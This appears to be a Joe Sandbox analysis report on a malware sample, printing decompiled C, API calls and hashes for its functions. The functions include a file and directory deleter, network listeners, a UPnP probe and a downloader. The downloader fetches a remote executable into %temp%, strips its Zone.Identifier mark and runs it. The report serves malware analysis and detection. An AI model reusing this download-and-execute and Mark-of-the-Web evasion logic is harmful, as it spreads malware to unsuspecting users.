FindNextFileW.KERNEL32(000000FF,?), ref: 00404F8A
FindClose.KERNEL32(000000FF), ref: 00404F9F
RemoveDirectoryW.KERNEL32(?), ref: 00404FA9

Strings

%s\*, xrefs: 00404E99
KT@, xrefs: 00404E8B, 00404F2A, 00404E8E, 00404F2D
%s\%s, xrefs: 00404F0E
%s\%s, xrefs: 00404F2E

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$KT@
API String ID: 92872011-1718218466
Opcode ID: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction ID: f84c23499f796ae609c643b61d0d113fdbb715ac4c7aa211f5e11142a609d372
Opcode Fuzzy Hash: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction Fuzzy Hash: 553145B5500218ABCB10DFA0DC88FDA7778BB88301F0085A9F709A6195DB79DAC4CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB00 Relevance: 16.6, APIs: 11, Instructions: 129
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040EB00(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E00408B00(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350;
					GetSystemInfo( &_v36);
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040E0E0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040BAF0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1);
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1);
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040EA30, _t54, 0, 0);
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E400, _t54, 0, 0);
					return _t54;
				}
			}

APIs

GetSystemInfo.KERNEL32(?), ref: 0040EB23
InitializeCriticalSection.KERNEL32(00000020), ref: 0040EB37
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EB45
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EB5E

Part of subcall function 0040BAF0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040BB0E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EB8B
setsockopt.WS2_32 ref: 0040EBB1
htons.WS2_32(?), ref: 0040EBE1
bind.WS2_32(?,00000004,00000010), ref: 0040EBF7
listen.WS2_32(?,7FFFFFFF), ref: 0040EC0F
WSACreateEvent.WS2_32 ref: 0040EC1A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EC2E

Part of subcall function 0040BBA0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4
Part of subcall function 0040BBA0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
Part of subcall function 0040BBA0: DuplicateHandle.KERNEL32 ref: 0040BC6E
Part of subcall function 0040BBA0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: f5c8a733228a7b3742c1c3b1f999116d73948f9746cd990c91c1e4c648286908
Instruction ID: 55e3d3791406c7558891e3ce563330e9b7b343d865a5bfb51454dd4e2dcce5d3
Opcode Fuzzy Hash: f5c8a733228a7b3742c1c3b1f999116d73948f9746cd990c91c1e4c648286908
Instruction Fuzzy Hash: 65419270644302BBE3209F758C4AF46B7A5BF44710F108A2AF568E62D0E7B5E454CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C580 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
htons.WS2_32(0000076C), ref: 0040C5D0
inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD

Part of subcall function 00409540: htons.WS2_32(00000050), ref: 0040956D
Part of subcall function 00409540: socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
Part of subcall function 00409540: connect.WS2_32(000000FF,?,00000010), ref: 004095A6
Part of subcall function 00409540: getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

bind.WS2_32(000000FF,?,00000010), ref: 0040C633
lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040C490: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Part of subcall function 0040C490: Sleep.KERNEL32(000003E8), ref: 0040C4EE
Part of subcall function 0040C490: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
Part of subcall function 0040C490: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
Part of subcall function 0040C490: StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

239.255.255.250, xrefs: 0040C5DA

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 3abddafc972960b7a34b09499d5804bac4f0b45d7085fcd8f09acaffb4ecffc4
Instruction ID: 76d768ee63a1ab765bf53bd3b80837b0909e15b9bb20e5c949896882321ca4fe
Opcode Fuzzy Hash: 3abddafc972960b7a34b09499d5804bac4f0b45d7085fcd8f09acaffb4ecffc4
Instruction Fuzzy Hash: 3C4106B4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290E7B55A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8A0 Relevance: 9.1, APIs: 6, Instructions: 77
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040D8A0(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E00408B00(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30);
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DD00(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1);
					__imp__#2( *(_t31 + 8),  &_v52, 0x10);
					if(_t25 != 0xffffffff) {
						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						 *((intOrPtr*)(_t31 + 0x14)) = CreateThread(0, 0, E0040DAD0, _t31, 0, 0);
						goto L8;
					}
					E0040DD00(_t31, _t38);
					return 0;
				}
			}

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D8D8
socket.WS2_32(00000002,00000002,00000011), ref: 0040D8E7
htons.WS2_32(00009E34), ref: 0040D92A
setsockopt.WS2_32(?,0000FFFF), ref: 0040D94C
bind.WS2_32(?,00000004,00000010), ref: 0040D95D

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,Function_0000DAD0,00000000,00000000,00000000), ref: 0040D985

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 05ebf89ae4aef0f9de86e26819af3cc3888251010e7b9e55e68cfc395c831c9e
Instruction ID: 030b81ab5cfdece744e4193ec97e607ba68bdf4ca273294f478105adee985cb3
Opcode Fuzzy Hash: 05ebf89ae4aef0f9de86e26819af3cc3888251010e7b9e55e68cfc395c831c9e
Instruction Fuzzy Hash: A721A1B4A44301AFE710DFA48C8AB577AA0EF44710F50857AFA54DA2C1D7F4C9488B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B540 Relevance: 9.1, APIs: 6, Instructions: 67
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B540(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16);
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0);
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1);
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}

APIs

GetTickCount.KERNEL32 ref: 0040B552
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B578
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B5AF
GetTickCount.KERNEL32 ref: 0040B5C4
Sleep.KERNEL32(00000001), ref: 0040B5E4
GetTickCount.KERNEL32 ref: 0040B5EA

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction ID: 64461f39ab81653a4184227da93eab0719a9ebb5afb4910718686698f9d98f64
Opcode Fuzzy Hash: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction Fuzzy Hash: 7131EF74900209EFCB14DFA4DD48AEE7BB5FF48315F1086AAE825A3290D7749A50CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409540() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E00409500("www.update.microsoft.com");
				_v20 = _t28;
				__imp__#23(2, 1, 0);
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10);
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48);
						_v8 = _v40;
					}
					E00409600(_v28);
				}
				return _v8;
			}

APIs

htons.WS2_32(00000050), ref: 0040956D

Part of subcall function 00409500: inet_addr.WS2_32(00409581), ref: 0040950A
Part of subcall function 00409500: gethostbyname.WS2_32(?), ref: 0040951D

socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
connect.WS2_32(000000FF,?,00000010), ref: 004095A6
getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

Strings

www.update.microsoft.com, xrefs: 00409577

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 2dec295092395f23a9cc8e75f3d945b5eddd047bf9da38ba452b3522f7f48efc
Instruction ID: 389a469d72f566baadd69971dc4dec0fd14d74987819c9d890e36e211f91e18c
Opcode Fuzzy Hash: 2dec295092395f23a9cc8e75f3d945b5eddd047bf9da38ba452b3522f7f48efc
Instruction Fuzzy Hash: FD210EB5D14309ABCB04DFE4D846AEFBBB4AF48310F108169E505F3390E7745A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A870 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A870(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406545
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx);
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406545
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406545
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}

0x0040a87f
0x0040a87f
0x0040a883
0x0040a88b
0x0040a895
0x0040a899
0x0040a8a1
0x00000000
0x0040a8a5
0x0040a8ae

APIs

CryptAcquireContextW.ADVAPI32(Ee@,00000000,00000000,00000001,F0000040,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A883
CryptGenRandom.ADVAPI32(Ee@,?,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A899
CryptReleaseContext.ADVAPI32(Ee@,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A8A5

Strings

Ee@, xrefs: 0040A87F, 0040A895, 0040A8A1, 0040A882, 0040A898, 0040A8A4

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Ee@
API String ID: 1815803762-3880142923
Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction ID: 1edff0947e8a0bec857b7d5bc171d56b6abde249d8757a471d495e886690916f
Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction Fuzzy Hash: 47E01275650308FBDB14DBD1EC49F9A777CAB48740F108154B709A7284DAB5EA408768

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD70 Relevance: 6.1, APIs: 4, Instructions: 59
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E0040DD70(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t24;

				_t27 = __edi;
				_t24 = E00408B00(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11);
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
					E0040DD00(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10);
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						 *((intOrPtr*)(_t24 + 0x14)) = CreateThread(0, 0, E0040DAD0, _t24, 0, 0);
						goto L6;
					} else {
						E0040DD00(_t24, _t27);
						return 0;
					}
				}
			}

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BF1E,00000000), ref: 0040DD95
socket.WS2_32(00000002,00000002,00000011), ref: 0040DDA4
bind.WS2_32(?,?,00000010), ref: 0040DDE5

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,0040DAD0,00000000,00000000,00000000), ref: 0040DE11

Memory Dump Source

Source File: 00000006.00000002.409103266.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.409098401.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: a272f706d971db141aade7e541e5b093828ed65ab25b051faa62c99c8275b329
Instruction ID: a1f51b83e62fd1e5ac6bfc854ac0cad300f812e19a803ea918e078540f5b95b0
Opcode Fuzzy Hash: a272f706d971db141aade7e541e5b093828ed65ab25b051faa62c99c8275b329
Instruction Fuzzy Hash: 9611C870A40300AFE7009FB49C86B577AA0EF44710F50897AFA08DE2D1D2F4D8488756

Uniqueness

Uniqueness Score: -1.00%

Function 0040D4F0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040D4F0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_v2376 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 0, 0, 0, 0);
				if(_v2376 != 0) {
					_v1576 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0);
					if(_v1576 != 0) {
						_v1580 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0);
						if(_v1580 != 0xffffffff) {
							while(InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372) != 0 && _v2372 != 0) {
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0);
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524);
							Sleep(0x3e8);
							_t125 = E0040D1D0( &_v1572);
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D390( &_v1572);
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405de1
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576);
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040ECB2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D1D0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D390( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405de1
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}

APIs

GetTickCount.KERNEL32 ref: 0040D4F9
srand.MSVCRT ref: 0040D500
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D520
mbstowcs.NTDLL ref: 0040D583
rand.MSVCRT ref: 0040D58B
rand.MSVCRT ref: 0040D59F
wsprintfW.USER32 ref: 0040D5C6
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D5DC
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D60B
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D63A
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D66D
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040D69E
CloseHandle.KERNEL32(000000FF), ref: 0040D6AD
wsprintfW.USER32 ref: 0040D6C6
DeleteFileW.KERNEL32(?), ref: 0040D6D6
ExitProcess.KERNEL32 ref: 0040D72A
Sleep.KERNEL32(000007D0), ref: 0040D702

Part of subcall function 0040D390: memset.NTDLL ref: 0040D39E
Part of subcall function 0040D390: CreateProcessW.KERNEL32(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Part of subcall function 0040D390: Sleep.KERNEL32(000003E8), ref: 0040D3F5

DeleteFileW.KERNEL32(?), ref: 0040D740
CloseHandle.KERNEL32(000000FF), ref: 0040D74D
InternetCloseHandle.WININET(00000000), ref: 0040D75A
